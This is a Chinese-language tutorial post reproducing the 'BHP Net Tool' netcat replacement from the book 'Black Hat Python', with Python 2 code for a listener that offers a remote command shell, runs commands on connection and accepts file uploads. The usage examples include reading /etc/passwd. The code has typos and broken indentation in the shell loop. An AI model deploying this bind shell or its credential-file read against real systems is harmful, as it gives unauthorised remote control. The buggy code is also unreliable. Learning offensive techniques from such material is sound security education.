取代netcat

main(): 解析命令，判断是监听，还是发送数据，如果监听，调用server_loop()，否则，从命令行读取输入，停止输入时输入Ctrl+D，并发送。

server_loop(): 创建服务器，监听，接收到客户端连接后创建新线程，调用client_handler(client_socket)处理。

client_handler(client_socket): 实现文件上传、命令执行和shell相关功能。

def run_command(command): 执行命令并返回输出。

usage(): 帮助信息。

import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage():
    print "BHP Net Tool"
    print
    print "Usage: netcat.py -t target_host -p port"
    print "-l --listen -listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"
    print "-c --command -initialize a command shell"
    print "-u --upload=destination -upon receiving conncection upload a file and write to [destionation]"
    print
    print
    print "Examples:"
    print "python netcat.py -t 192.168.0.1 -p 5555 -l -c"
    print "python netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "python netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI | ./netcat.py -t 192.168.11.12 -p 135"
    sys.exit(0)

def run_command(command):

    # 删除字符串末尾空格
    command = command.rstrip()

    # 运行命令并将输出返回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    return output

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

     # 从输入中收到数据
        if len(buffer):
            client.send(buffer)

        while True:

            # 等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print response

         # 等待更多的输入，并继续发送和接收数据
            buffer = raw_input("")
            buffer += "\n"

            client.send(buffer)

    except:

        print "[*] Exception Exiting!"

        client.close()

# 实现文件上传、命令执行和shell相关功能
def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检测上传文件
    if len(upload_destination):

        file_buffer = ""

        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # 接收到数据并写出
        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(fiile_buffer)
            file_descriptor.close()

            # 确认文件已写出
            client_socket.send("Successfully saved file to %s\r\n" %upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" %upload_destination)

    # 检查命令执行
    if len(execute):

        # 运行命令
        output = run_command(execute)

        client_socket.send(output)

     # 如果需要一个命令行shell
    if command:

        while True:

             # 跳出一个窗口
            client_socket.send("")

             # 接收文件直到发现换行符
             cmd_buffer = ""
             while "\n" not in cmd_buffer:

                    cmd_buffer += client_socket.recv(1024)

            # 返回命令输出
                    response = run_command(cmd_buffer)

                    client_socket.send(response)

# 服务器主循环
def server_loop():
    global target

    # 如果没有定义目标，则监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # 处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket, ))
        client_thread.start()



def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu", ["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 是选择监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:

     # 从命令行读取数据，停止输入时发送Ctrl+D
        buffer = sys.stdin.read()

        client_sender(buffer)

    # 开始监听并准备上传文件，执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

main()

启动客户端后先输入Ctrl+D

参考
Python 黑帽子 黑客与渗透编程之道